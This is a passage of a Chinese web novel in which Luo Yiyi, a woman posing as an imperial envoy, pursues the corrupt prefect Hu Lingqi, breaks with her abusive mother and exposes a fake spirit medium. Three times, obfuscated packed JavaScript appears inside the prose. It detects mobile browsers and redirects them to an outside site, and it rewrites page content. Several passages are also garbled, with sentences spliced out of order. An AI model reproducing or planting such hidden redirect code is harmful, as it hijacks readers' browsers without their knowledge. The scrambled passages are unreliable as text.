韩沧嘴角一抽,“大人说的是。” “你这表情看起来像是有什么难言之隐,”罗依依胳膊勾着韩沧的脖子,“你是不是不服气我又押对了宝?” “大人英明,好一招引蛇出洞。这个胡凌齐与钱伯钧私相授受,平日里即便做得再隐秘也肯定有账册书信往来,大人跟着此人便能查到他二人贪墨的证据。” 罗依依补充道,“还有银钱。” 关键是银钱!翰沧嘴角抬起,浅浅地笑了一声。罗依依不怕他面色冷峻,就怕他笑,笑得像是阴曹地府的小鬼。 “不过……大人有没有想过你贵为钦差,为何这胡知州不过堂堂从五品,却能派人来刺杀你这个朝廷命官?” 罗依依也觉得蹊跷,“可能山高皇帝远,他土皇帝做惯了。” 韩沧目光一扫,阴森森的落在罗依依身上,“传言这胡知州可是宁王的人。” “宁王?”罗依依瞬间头疼欲裂,身子如同风雨中的危楼摇摇欲坠,心像是缺掉一块似地。 宁王是谁? “大人该不会不知宁王是谁吧?” “你瞎说什么,我是京官,如何不知宁王是何人?”罗依依捂着心口,许是刚才见了钱伯钧和宋主簿的尸体给恶心坏了。 “大人看来脸色不好,天快亮了,还是赶紧歇息片刻。” 云祥村。 “娘,”罗依依在门口轻声叫了一声,一股刺鼻的烟味窜入她鼻尖,她忙不迭地捂住鼻子却被浓烟呛了鼻子,“你在烧什么?” “是我儿回来了?” “娘,”罗依依连连咳嗽,消瘦的婆子跪在佛龛前,手中捏着一张金灿灿的符纸,“你又去买符纸了?” 婆子食指轻轻放在嘴上,“嘘!依依你小声说话,莫要惊扰了神仙。” “神仙?”罗依依觉得眼前这个衣衫褴褛的婆子跪在地上将烧着的符纸顶在脑门上三跪九拜,活脱脱是个着了火的稻草人颇为滑稽,她嘴角冷笑,“神仙为何要到我家来?” “大胆!举头三尺有神明,我儿可不能不敬重神明。这是村头廖婆子求来的灵符,可灵验了,”婆子将烧着的符纸丢进盆中,旺盛的火焰像是会勾人魂魄的鬼怪冲着婆子笑,她拉着罗依依的手翻看家中大缸,里面是金灿灿的小米,她无比虔诚地说道,“你看佛祖显灵, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353369|199658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我家的米缸都满了。感谢佛祖,佛祖显灵了。” “这不是阿贵昨日送来的?” “是佛祖让阿贵送来的。”婆子揉了揉眼睛定睛看向身着男装的罗依依,“我儿怎么变成这幅田地?” “娘,三言两语说不清,我今日来就想看看你。” “你这副打扮是要作甚!”婆子浑浊不堪的眸子仔仔细细地盯着罗依依看了许久,“你是个女儿身,你爹都是因为你是女孩所以才会迁怒我,才会跑去赌坊,都是因为你。你如今变了男装,是不是要存心气死我?” 说罢就伸出干瘪的手去捏罗依依的手臂。 “嘶!” 罗依依这才明白昨日替自己换药时胳膊上的旧伤是哪里来的,合着这老婆子一有气就撒在自己身上。 罗依依一个反手捏住婆子的手腕硬是掰了过来,“娘,我是人,不是你想打就打想骂就骂的牲口。” 老婆子甩开罗依依的手,坐在地上就是一顿嚎叫,“你这个不孝儿啊,你变成这样是要害了我们罗家啊。” 罗依依又伸手去拉拽她,搀扶起她来之后她一阵头晕目眩险些晕倒。 “娘!你这是怎么了?阿贵没有给你买药?今日的药你有没有喝?” 婆子摇头,“这个阿贵也真是的,送什么不好偏偏要送我药来,又被我丢了出去。” “丢出去?这可是真金白银买来的。” 枯槁的手指推搡罗依依,“我不喝药,这药是毒,阿贵就是想害我,和你这个赔钱货一样。你去把盆里的符纸取出来倒上水让我服下。” “这……你要喝这个?” “是,廖婆子说了我喝下这道符水我的病就好了。” “好,”罗依依点点头,“我让你喝。” 她抄起那个刚熄灭的铜盆,大门一开全给扬了出去。 “你这个妮子真是胆大包天。” 婆子挣扎着起身,抡起胳膊拍打罗依依的脑袋,又尖又长的指甲刮过她手背,一双单薄的眼睛如弯刀刻进她脸上,眼睛瞪得极大,眼白上布满血丝,瞳孔却缩成两个小小的黑点,直直地盯着她,像盯着一个陌生人。 “你不是我儿。” “娘,你说什么?” “虽然你和我儿长得一模一样,但我瞧出你已经不是我儿。” 婆子跪在地上想要将刚燃尽的符纸捡起来,嘴唇在抖,抖得牙齿磕碰出细碎的声响,忽然嘴咧开笑了,眼睛里却没有笑,“你不是,那一夜你偷跑出去之后彻夜未归,我就知道你被妖孽附了身,回不来了。” “娘,你说什么?你说我是妖孽?” 婆子扫帚挥过来打在她肩上,一点也不疼,那一下一下的力道,像打在别处。 “你滚,赶紧滚,别连累了我们罗家。” 罗依依一步一步往后退,退到门边,门槛绊了她一下,她扶住门框才站稳。 “既然娘这般说,那儿便走了。往后不回来了。” 罗依依走出云祥村时天还是灰的,灰得像娘那张脸,灰得像那碗泼在地上的药。她抬起手看着手背上那道带血的划痕,有一种惨绝人寰的美艳。 “也挺好,至少往后不用受伤了。” 晚秋的风从背后推着她,推一步,走一步,脚底踩的是冻裂的土,每一步都听见咔嚓的碎响。 那是赤地县第三个旱年。 地裂的缝能塞进小孩的拳头,井里的泥浆比水多,河床上的鹅卵石晒得发白,像一河滩的死人骨头。 忽地什么东西落在她脸上,湿漉漉的冰冰凉凉的。 她抬起头。 又一滴。落在眉心。 然后是第三滴,第四滴…… 雨。 落在干裂的土地上倏地就不见了,只留下一小块浅浅深深的印子,像泪痕。 忽地密密斜斜的像是从天上扯下来,扯成千万条细线,织成一张无边无际的网,把整个赤地县都罩在里面。 罗依依摇摇晃晃地一直走,远处隐隐传来人的喊声叫声,大家都在雨中欢呼雀跃,几乎每个人都张开双臂手舞足蹈的,仰着脸,张着嘴,让雨水灌进去。 “下雨了,终于下雨了。” “老天爷开眼了!” “钦差大人果然是神仙派来的,先是救了我们,又下了大雨,罗大人真是大罗金仙转世。” “钦差大人一来,我们这里就下雨了!” “他让我们填饱肚子又让老天爷下雨了。” 【大人,请尽快查抄贪官家产获取银钱。祝大人早日脱离该世界。】 7. 第 7 章 “大人当真要去胡知州的府邸?” 屏风上的剪影像是在宽衣解带,韩沧撩了一眼,感叹这位罗大人也未免过于消瘦,这般身量经不起他一拳。 罗依依像是没事人似地换着衣服,仿佛要去龙潭虎穴的不是她。 “这还有假?胡知州的请柬就在桌上搁着,我如何能推脱?” “这事没这么简单,”韩沧拿起请柬粗略地扫了一眼,无奈地摇摇头,“这靖安州可不比我们这里,此番他邀请大人去也并非善意,大人还是找个理由回了吧。” “我难道不知道这是鸿门宴吗?钱伯钧这个死胖子已经死了,死无对证,若不是这条鱼儿自己咬钩,我们是一点办法也没有,此去我一定得想办法找到他与钱伯钧私相授受的证据,不然待朝廷追究下来我可招架不住。” 罗依依换上一身玄色常服从屏风后走出来,像是雨墨天上一道深色的墨蓝,没有纹绣,没有滚边,通身素净到底,只在领口露出一线月白的中衣。 衣身裁剪得极合体,腰线收得利落,腰上束一条同色的布带,勒出一把细细的腰,细得像一捻就会断。韩沧一下就想起刚才屏风后的那道剪影,不知怎地喉间发紧。 她俯身倒茶,袖口露出一截手腕,腕骨清秀,肤色白得近乎透明,能看见底下隐隐的青筋。往日那些纷乱的碎发不见了,全束进一顶小小的玉冠里,衬着乌黑的发,幽幽地发亮。发冠下露出一段后颈,白得刺眼。 韩沧觉得有些刺目,恭敬地低下头,“卑职这就备马车陪你走一趟。” “不可,”罗依依摆手,“此番只可我一人前往。” 韩沧蹙眉,“为何?” “我给们引蛇出洞我们做对了。知知州这条蛇给引出来了但却未完全放下戒心,我若是要得到他信任,必然得让他相信我与他是同道中人。” “难道我跟着,胡知州就不信任大人了吗?” “那倒也不是,只不过我独自前往更能让他信服。” 韩沧没有同意也没有不同意,“大人预备如何查?从哪里查起?” 罗依依想了想,也不知该如何回答,“本官自然有本官的办法,你放心我总不会一上来就如实对他说我要查他的。” 韩沧还想继续说些什么,却听见“大人,胡知州派来的马车到了。” “来嘞。” “不行,”韩沧饶过圆桌拦住罗依依,“大人无论如何得带个人,你带着阿贵去,让他在门房等着,万一有个好歹能回来报信。” 罗依依贼眉鼠眼地凑过去,“你这是关心我?” “大人多虑了,在未查清我兄长死因真相前,大人还得保重身子,毕竟我一个差役孤军奋战想要查上差难比登天。” 从赤地县去靖安州费了不少脚程,罗依依带着阿贵一上马车倒头就睡,直到进了靖安州的城门才悠悠转醒。 罗依依打了个哈欠,一旁阿贵叹了口气,“大人真是厉害,这幅光景还能睡得这么香。” “这几日县衙事忙,我白日为乡亲们做主,晚上批阅公文,昨日子时才歇息,我是真累极了。” “阿姐还真把自己当成青天大老爷了?” “可不是,”罗依依摸着下巴说道,“我也以为干完这票咱就能撤,可昨天下了雨,那些街坊都把我堵在县衙门口,又是下跪又是磕头,搞得我心绪难安进也不是退也不是。” 阿贵问,“是不是特难为情?觉得自己特了不起?” 罗依依被他这么一问腼腆得不行,小拳拳重重地砸在阿贵身上,“诶呀,人家哪里了不起了,人家就是内心有点小激动。” “你还是想想接下来怎么对付这个胡知州吧。” 一韩大哥说这人不好对付。盆冷水浇在罗依依身上。阿贵翻 罗依依不服气,抬起拳头锤在阿贵身上,“嘶……” “昨天还让我小心这个面相凶恶之人,今天就一口一个韩大哥。” 了个白眼,悄然塞给她一块布包,小声说道,“韩大哥给你的冲天雷,一会你进去若是发现不妥就往天上发射,我得了信就能跑回去救你。” “罗 “韩大哥是好人!”大人到!” 胡府俩字赫然出现在罗依依眼前,门前的石狮子威武雄壮,高深的围墙是水磨青砖对缝砌的,一色灰青色,墙高丈二。 “果然是高门大户。” “罗大人请。” 罗依依抬头便见青砖上的一对青面獠牙的神兽,面容古怪又恐怖,这不是寻常人家雕在墙上辟邪的神兽,倒是像那些志怪小说里吃人的妖怪。 另一排青砖之上雕的却是八卦图。一圈排开,在灰蒙蒙的天色里,像一圈阴郁乖戾的鬼画符,让人头皮发麻。 罗依依跟着门房眯缝着眼睛左看看右看看,仿佛走在任何方位,那些神兽的眼珠子都死死地盯着自己,她越走越瘆得慌。 砰的一声。 一个踉跄,罗依依脚趾磕到门槛,要不是门房扶住了她,她非得摔个狗吃屎。 出师不利啊。 她抬头刚想道谢,迎面高处对上一面高悬的铜镜,巴掌大小,生了锈,镜面斑驳,将她狼狈又惨白的样子照得一清二楚。 这难道就是传说中的照妖镜? 罗依依生得一脸娇嫩,若不是钦差大人的身份,很难让别人不怀疑她是女儿身。她倒抽一口冷气,幸亏见得镜中自己,她很快摆正官威。 “罗大人,下官有失远迎,请罗大人恕罪。” “你就是胡凌齐?” “正是。” 从内堂出来的人没有穿官服,而是一袭道袍式的鹤氅,宽袖大襟通身素白。衣料是绫的,软软地垂着,风吹过来,衣摆跟着晃动。 氅上绣着云绣暗纹,鹤在云里飞,云在氅上飘,针脚细得看不清,只隐隐约约能见着几道浅浅的银线,在灯火下一闪又一闪,这仙鹤栩栩如生仿佛就要飘然远去。 罗依依一挑眉,她还是头一遭见到这样一副眼睛,眼型细长微微上挑,眉毛极淡几乎看不清,眼神飘忽不定地看向罗依依,却又没有在看她。 罗依依瞬间又想到了青砖上的神兽,咧着嘴不是笑而是要将她吞入腹中,她环顾四周才觉此处处处透着诡异。 昏暗的烛火一晃,丫鬟端着茶进殿,先是盈盈朝她施礼,“拜见罗大人。” 罗依依朝她不正经的回了个礼,勾着色眯眯的眼神在这丫鬟身上滚了几圈,这知州府邸的丫鬟真漂亮,前凸后翘,白皙的脸像是能掐出水来。 胡凌齐轻轻咳嗽了一声才将她眼神收了回来,她端起茶盏细细品了起来,“胡知州府上的茶就是不一样,人也不一样。” 胡知州笑眯眯地说道,“大人若是看上了,今日走时便送给大人了。” 罗依依笑着摇头,“胡知州的人出入我的县衙像入无人之境一般,我可不想哪一天像钱伯钧那样死都不知道是怎么死的,我们还是喝茶吧。” 胡知州笑眯眯的脸色僵了僵又道,“看来大人是生气了,下官略备薄菜给大人赔罪,我等边吃边聊。” “饭菜我就不用了,”罗依依抬手制止,一副公事公办的样子,“我今日前来是来兴师问罪的。胡凌齐,本官要查你。” “查我?”胡凌齐见过许多京官,像罗依依这样直白倒是头一位,他一时间拿捏不准这位钦差大人的目的,只能堪堪赔罪,“本官在靖安任期三年,虽说算不上鞠躬尽瘁,倒也兢兢业业,不知大人要查我何事?” “你杀了钱伯钧,残害同僚,”罗依依站起来恶狠狠地瞪着他,“其心何其歹毒?你还敢问我查你何事?” “本官……在钱伯钧的事上确实有欠妥当,若是大人怪朝廷我愿意承担,只是歹毒二字实在不敢当。” “俗话说断人财路如杀人父母,你如今断了我的财路,你说你是不是歹毒?” 胡凌齐细长的眼睛瞪大,“下官不明白,还请大人赐教。” 罗依依故意不说,端起茶盏又品了一口,似乎在给胡凌齐坦白的机会,“你当真不知?” “下官确实不知。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“下官的确与那钱伯钧有过一些交集,不过这都是他的主意,受灾的县衙之中也数赤地县最为严重,大人抄他家真是便宜他了。我……本意是想为大人分忧,本意是好的,还求大人帮帮下官。” 如今,”罗依依哀叹一声,“原本我想着打听出他那笔银钱的去处上下打点一番,兴许能保住你,你却杀了他,坏了我的计划,如今钱伯钧死了,我自身难保,也无法向朝廷交代?你糊涂啊,如今我就算不想查你也不行了。” “大人救救下官。” 胡凌齐朝门外候着的人使了个眼色,那人端着一盏方盒放在罗依依面前,他不紧不慢地做了个请的动作。 罗依依打开木盒,看来这胡凌齐为了收买钦差大臣下了血本。 胡凌齐说道,“宁王殿下听闻大人奉旨查办钱伯钧一案,劳苦功高,特命人从南昌送来这些……这些文房清玩,说是给大人案牍劳形之余添些雅趣。” 罗依依义正言脸色不好看,脑袋又痛又涨可别用宁王压我,我知道你是宁王的人,可我是钦差,我背后站的人宁王也惹,不,起。” “大人误会了,实非大人之过,是我没说明白,宁王本是爱才之人,见大人这般文韬武略,在钱伯钧一案上如此当机立断独断乾坤,特意嘱咐我替他要好生犒劳大人。” 宁王,宁王,为何每次提起宁王,她心里都不舒服?烦死了,这个宁王一看就不听好人。 胡凌齐又道,“罗大人是陛下的钦差大人,但我虚长大人几岁,还是想提醒大人,宁王是先帝的第九子,是陛下最宠爱的幼弟,给了宁王面子既就是给陛下面子。” 罗依依点点头,“也是,你说的在理,我就是来赤地县走个过场,我也不想得罪宁王,看来钱伯钧那笔银钱是别想找到了。” “大人莫急,下官有法子。” “何法子?” 胡凌齐柳叶似地眼睛看向罗依依,“说来这法子还得靠大人。” 8. 第 8 章 “你让我派人去把钱伯钧的尸体和贴身遗物取过来就为了这个?” 胡凌齐垂下细长的眼皮哀叹道,“大人,这是我们唯一的法子。” 罗依依倒是非常好奇他口中那个唯一的法子,“只要能找出那笔银钱,我都配合你。” 胡凌齐的府邸三进三出,是个大宅子,屋檐底下却从不点灯,黑暗的天幕像是一块阴沉又厚重的布笼罩在宅子上,一点也不像五品大员的府邸。 宅子中央有块极大的空地,中间铺着个漆黑的戏台。深坛是临时搭的,铺着黄绫,绫上画着八卦图,三尺高,丈许见方。 八卦正中摆着一只铜炉,炉里燃着炭,正滋滋地冒青烟空气中弥漫着一股说不上来的苦味。 “大人,这是咱们这里远近闻名的阴阳先生,路先生。”胡凌齐说道,“路先生,这是罗大人,是上头派来的钦差大人。” 罗依依顺着路先生绕了一圈,此人穿着道袍,脸上涂得黑一块白一块,头顶那顶毡帽上插满了不知是何种动物的羽毛。 罗依依不由自主地抬起纤细的手腕,手指轻轻地弹在此人的羽毛上,“这是人啊,我还以为是个大型的巨大掸子呢。” “哈哈,”胡凌齐尴尬地笑了笑,“路先生别见怪,罗大人就喜欢开玩笑。” “我没开玩笑,原来你就是我们赤地县出了名的阴阳先生啊,”罗依依说道,“我虽未见过路先生,但早就蒙受过路先生的恩惠。” 胡凌齐问道,“哦?此话当真?” 这个鸡毛掸子也向罗依依投来疑问的眼神,罗依依道,“云祥村的寥婆子到处宣扬都是因为路先生施了法,朝廷才派了我来赤地县,天神才派了雨神下凡间,这桩桩件件还真的得感谢路先生。” 路先生捻了捻胡须,略一思忖才缓缓开口,“不过是几日前略施法术,都是为了赤地县的百姓,不足挂齿。” “三年了,路先生才想起来召唤我来此处?真是神机妙算。”罗依依不合时宜地大笑起来,众人瞅着上官乐了,也干巴巴地附和了几声,只有路先生被涂黑的嘴唇裂开露出洁白的牙齿问,“真身带来了吗?” 胡凌齐身旁的小厮说道,“回路先生的话,已抬到里屋。” “真身的遗物呢?” “都在此处。” 被涂成白色的眼皮朝上抬了抬,黝黑细长的指甲随意挑了盒子里的物件,“都是真身贴身遗物吗?” 抬着钱伯钧棺材来的差役点头,“自然是。” 罗依依问胡凌齐,“这钱伯钧已经死了几日,怕是早上黄泉路喝下孟婆汤,这魂魄还能招回来?” 胡凌齐略带赞赏地看向鸡毛掸子说道,“路先生不比其他江湖术士,他手上可是有真本事,旁人若是招不回来,他一定能。” “大人谬赞,其实也并非路某人功力高深,只是……”鸡毛掸子说道,“钱大人是横死,心中自然有未了的事,鬼魂本就难缠哀怨,他更不会这么情愿喝孟婆汤的。” 罗依依搓了搓小手,“那我们便期待不喝孟婆汤的钱大人能带给我们惊喜。” 鸡毛掸子走到台中央,四周的白色帷幔骤然放下,白色的蜡烛瞬间点亮,他点燃三炷香朝里屋的方向拜了拜,“黄泉路上慢些走,” “急急如律令!” “天清地宁,日月同明。” “魂兮归来,听我号令。” 整个大殿阴风阵阵,安放钱伯钧尸首的那间屋子紧闭的门窗顿时震动起来,声音越来越大,刺骨的寒风顺着门窗的缝隙呼啸而来,仿佛要将这间屋子掀翻。 忽地一个模糊的残影由远及近地印在窗户纸上,那人想要从里屋拔出门栓推开门,却怎么也推不开。那人越推越急,越急越推,烛火晃动得厉害。 “大胆钱伯钧,还敢如此吓唬大人?还不快快现身!” 鸡毛掸子一吆喝,里屋的剪影停了动作,又飘来一阵妖风,高大的剪影落在白色帷幔上,直直地冲着鸡毛掸子去。 透过帷幔看去,鸡毛掸子的影子骤然放大,他掏出腰间的桃木剑一顿乱挥舞,口中振振有词,说得飞快,像是睡着的人胡乱呓语。 桃木剑贴着符纸,符纸一碰火苗呼地燃起来。 罗依依像是看皮影戏似地,冲着胡知州说道,“胡大人真信他?” “大人瞧好,”胡凌齐自信地说道,“大人不是说那日审问过钱伯钧吗?待到子时钱伯钧上了路先生的身,到时候审问钱伯钧的事就交给大人了。” 火苗窜得老高,变成诡异的蓝色,符纸燃烧殆尽,顷刻化成灰烬,火苗却似飞舞的鬼魅窜到水面上。 四周陷入黑暗。 只一瞬间。 忽然火苗又染了起来。月亮映在冰冷的水里,像是泛白的死人脸。 映照在帷幔上的鸡毛掸子骤然倒地口吐白沫,站在一旁的小厮看向胡凌齐,不知该不该冲上台。 不知是谁喊了一声,“且慢。” 那个鸡毛掸子腾的一声又站了起来,站得笔直,发出乖戾的笑声。罗依依手背上汗毛瞬间倒竖,鸡皮疙瘩掉一地。 “这……这笑声……”方才端着钱伯钧遗物的小厮指着帷幔尖叫道,“这是……这是……这就是钱大人的声音。” “对,千真万确,这是钱大人的声音!” “天哪钱大人活过来了,活过来了!” “见鬼了见鬼了,救命啊。” 他一边叫喊一边扭头就跑,一个踉跄摔在地上,如同狗似地挣扎着爬起来,双腿胡乱地蹬着,生怕钱伯钧上他的身。 胡凌齐细长的眼睛瞪着老大,怔怔地看向帷幔中央,“钱……钱兄?是你吗?” 忽地天空中的明月被乌云遮住,鸡毛掸子跌跌撞撞地在台上走了半圈。胡凌齐一拍桌子大喝道,“钱伯钧,你认得我是谁?” “你是……胡知州……”那声音拖得很长,长得像从很深很深的地方拉上来的绳子,一节一节,每一个字都带着水声,带着腐烂了之后残存的那一点点土腥味。 胡凌齐点点头,目光落在一旁并排而坐的罗依依身上,见她并未被这惊悚的画面吸引,只道,“钱伯钧,你可知罪?” “我……知罪?” 鸡毛掸子颤颤巍巍地点头,又摇摇晃晃地走了几步,“下官不知犯了何罪?” 胡凌齐眼角余光又看了一眼罗依依,见她依旧云淡风轻地端着茶盏品茶,只能咳嗽了一声,“见到钦差大人为何不跪?” “钦差大人?” 鸡毛掸子忽地像是行尸走肉嗅到了腐肉的气息,定睛一看冲着罗依依的方向狂奔而来。 “他……不是……” 胡凌齐问,“他不是什么?” “不是……钦差……” 那根鸡毛掸子冲破帷幔,桃木剑的剑尖直直地冲着罗依依双眸而来。 “大人!” 罗依依抄起手上的茶盏就砸向鸡毛掸子,鸡毛掸子的额头被砸出了一个窟窿,血咕咕地往外冒,事发突然,一般常人见了这情况多半会吓得尿裤子,可罗依依神色淡漠,出手却狠辣,胡凌齐甚至都没料想她会动手。 鸡毛掸子颤巍巍地晃动着身子,直挺挺地站在她面前,像是被逼急了似地大喝一声。 “我要杀了你!杀了你!” 啪的一声。声音响彻天际。 罗依依甩了一个巴掌过去,手掌上沾惹了鸡毛掸子脸上的白粉和血渍,还有湿湿的茶叶,又是白又是红,伴着些许茶味,恶心死了,她掏出手帕擦拭,想想还是不解气,反手又是一巴掌。 胡凌齐忍不住喊了一声,“罗大人。” 罗依依墨色的眼珠微微一动,嘴角浮现一丝笑意,“胡大人,身为朝廷命官,你就是这么断案审案的?” 她掸了掸身上的尘土,“还是说这也是你试探本官的一种方式?” “下官不敢。” “本官真是吃饱了撑的慌,才会陪着尔等在此处胡闹!” 罗依依抬脚便要走,胡凌齐赶紧上前拦住生气的罗依依,“大人留步,是下官的错。尔等还不快点退下!” 罗依依不肯,“来人,去把钱伯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353371|199658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钧的尸体和遗物都带走,跟着我回赤地县。” “大人息怒,今日这般晚了,路上不安全,大人就在我这府邸客房住一宿。”胡凌齐压低声音说道,“明日我等再商量一下钱伯钧私藏的那批银钱去向。” 罗依依脸色铁青,不肯让步,胡凌齐再三作揖,她才松了口,“胡凌齐我还能信你吗?” “大人就再信胡某人一次,必不教大人失望。” 罗依依脸色稍缓,“胡大人不是说备了酒菜与本官小酌两杯吗?” 胡凌齐脸色一松,“多谢大人,尔等赶紧上菜。” 胡凌齐亲自引着罗依依去前厅,方才给她上茶的那个丫鬟又端着一盆温水过来,水面上盈盈飘着几瓣花瓣,如同这丫鬟望着罗依依的眼神一般秋色柔情。 罗依依的目光下移落在丫鬟娇俏的臀部,胡凌齐连忙道,“知道大人爱洁,特地备下了香露给大人净手。明悦,还不快点伺候大人。” 明悦轻柔地握着罗依依的指尖,将她纤纤十指浸入香露之中,花香入喉沁人心脾,罗依依的心都快化了。 “大人快别这么看我。”丫鬟娇滴滴地用丝绸包裹住罗依依的双手,“看得人家都不好意思了。 罗依依指尖一挑起丫鬟的下巴,“明悦,你叫明悦?” “是,奴婢叫明悦。” “这名字真好听。”罗依依擦干净后就没放开过明悦的小手,“这小手这般无骨柔弱,真是长在我心上。” “大人又胡说,明悦瞧大人的手才是真的漂亮,真不愧是读书人的手,这般白净跟水葱似地。” 罗依依一挑明悦的下巴,“你真是人美嘴甜,来,坐在我身旁陪我喝酒。” 明悦端着酒杯喂到罗依依嘴边,“大人,这酒好喝吗?” “好喝,胡大人家的酒真好喝。” 明悦又道,“光是酒好喝吗?难道陪大人喝酒的人不好吗?” “好,”罗依依又抿了一口酒,“人也美。” “大人难道不喜欢我吗?” “喜欢。” 胡凌齐也稍陪罗依依喝了几杯便悄无声息地想要站起身来,罗依依一把拉住他,“胡大人这是要去哪里?莫不是要去找那笔银钱?” 胡凌齐喝了几杯,那张老脸也是红扑扑的,“大人说得哪里话,没有大人,我如何能找得到?我是见明悦陪大人,恐妨碍大人…” “哪里打扰?这是你府上,你自然得陪着,不然本官岂不是喧宾夺主?”罗依依被明悦灌了好几杯酒,脑袋有些昏昏沉沉,她端起酒壶,“本官亲自给你倒酒。” 胡凌齐瞧见罗依依步伐不稳,摇摇晃晃地险些倒在明悦怀里,笑道,“哪里敢劳烦大人倒酒。” 罗依依拖着胡凌齐一连喝了数杯,胡凌齐脑袋依旧清醒如常,但罗依依已经趴在桌上睡着了,便对明悦说道,“你瞧你是怎么伺候大人的?” 明悦手臂还着罗依依的细腰将她扶起来,“大人你喝醉了,奴这就扶大人去休息。” “我没醉……没醉…我们继续喝……” “是,大人没醉,我扶着大人回房继续喝。” 明悦将罗依依摔在床上,揉着手腕,“这人看起来挺瘦,没想到扶着还挺累。” 烛火印在罗依依漂亮的脸蛋上甚是明艳,雪白的肌肤上浮现粉色的酒气。伺候过这么多达官显贵,只有今日这位大人才算得上人中龙凤,明悦心中一动,今日这位大人真是英俊不凡,若是陪他过夜,真是不亏。 “大人,大人……这么晚了,奴伺候大人歇息。” 罗依依迷迷糊糊的在床上呢喃,明悦吹了蜡烛趴在她身上扒她衣服,黑暗之中忽地看见一双明亮的眸子,她一个翻身将明悦压在身下。 明悦娇滴滴地扭动身子,“大人,讨厌~” 啪的一声。 罗依依横劈一掌将她敲昏。 “是挺讨厌的,还想脱我衣服,想得美。”罗依依猛然从床上跳起来,猛地灌了自己几杯凉茶,“这个胡凌齐真拿我当猴耍呢!我这次倒要看看他还有何话说。” 9. 第 9 章 已过子时,云就从四面八方压过来,一层叠一层,厚得像棉絮,沉得像铅块,把整片天封得严严实实,压得人喘不过气。 后半夜的风越来越放肆,先是丝丝缕缕的从门缝里往里钻,凉飕飕地游到脚边,又逐渐放大,大到能把枯叶卷起来再重重地摔下来。 阿贵在黑暗中瑟瑟发抖,冷得心里发颤,他抱着双臂努力阻止打颤的牙齿,“阿姐你好好的西厢房不待,为何要和我等在此处?你在想什么,我们又在等什么?” “自然是在等着胡凌齐。” “你能不能别卖关子,等他作甚?”阿贵越发不明白罗依依,他眼皮直打架,哆哆嗦嗦地又问,“我的阿姐,你是吃得饱饱的,我还饿着肚子,这不刚在门房躺下,被窝还没捂热就被你叫出来。” “行了,别絮叨了,”罗依依翻了个白眼,“年纪轻轻这么啰嗦,你听我的准没错。” 可等了这么半天,她也吃不准到底在等什么,“你确定没搞错?” 阿贵拍着胸脯说道,“自然。我得了你的暗示就跟着他,他进了这间书房就没再出来过。” 罗依依勾着他胳膊,眼睛盯着那间隐秘的书房,自信地说道,“那就对了,他俩今夜铁定有行动。” 屋内的烛火忽地灭了,胡凌齐从屋内走出来,身后跟着一人。 “此人看起来怎会如此眼熟?”罗依依托着腮帮子使劲想努力想,狠狠地掐着阿贵的胳膊也没想起来,“好像我才见过似地。” “阿姐你人未老怎么就不记人呢?”阿贵一拍脑袋,“这就是路先生,只不过头被你开了瓢,脑袋被绑上纱布罢了。” “对哦,这是鸡毛掸子,洗了把脸我竟然都不认识了,我这人就是不记仇,要是换成别人,恐怕他化成灰也能认出来。” 阿贵小声嘀咕道,“明明是你把人家脑袋打开瓢了,要认也是你化作灰给别人认。”罗依依眼看着这两人一前一后鬼鬼祟祟地离开书房,““你小声嘀咕啥呢?”“别我说咱俩再不跟上就被人家甩了” 阿贵可不敢把刚才的话再重复一遍,岔开话题,阿姐你怎么知道他俩有一腿?” “这个胡凌齐打得一手好算盘,幸亏我机智聪明棋高一着,”罗依依说道,“我倒要看看他能俩翻出什么花样来。” 胡凌齐和路先生两避开府上下人,鬼祟地从角门离开,罗依依与阿贵跟在他俩身后越走越偏,人迹稀少,。 说道双腿如同灌了铅,越走心里越是没底这脊梁被寒风刮得凉飕飕,两人是不是脑子有问题,大半夜来墓园干什么?” 罗依依被阿贵啰里啰嗦搞得不耐烦,她一把蒙着他的嘴巴,用口型说了俩字,闭嘴。 黑暗中路先生目露凶光,捂着脑袋上被罗依依砸出来的伤口咬着后槽牙问道,“这位罗大人睡下了?” “放胡凌齐道,心,明悦的手艺这位罗大人抵抗不了。” 他冷哼一声,牵扯到伤口,疼得倒抽冷气,“这个人心思不明,待大人找到钱伯钧的钱藏起来的银钱要他无法在赤地县立足。” 路先生是远近闻名的阴阳先生,自打跟着胡凌齐之后更是顺风顺水,哪里受过如此的窝囊气。 胡凌齐看了一眼路先生脸上的巴掌红印说道,“我也未料到他出手如此狠,今日之事你受委屈了,但还是得忍耐一二,人家毕竟是钦差大人。” “哼,什么钦差大人!即便他是天上蛟龙,到了这赤地县也得盘起来,这地界可是大人说了算!” 虽然这话胡凌齐很受用,但他还是得敲打几句,“你消消气,我自然不会亏待你,但现在还不是与那钦差闹翻的时候。” “大人说的是。”鸡毛掸子阴恻恻地说道,“多亏大人英明,不然就要被这位钦差大人先找到这笔银钱。” 胡凌齐嘴角抬了抬,裂你可别这么说,多亏这位罗大人,我的提醒们才知道钱伯钧私藏了这么大一笔银钱。”。” 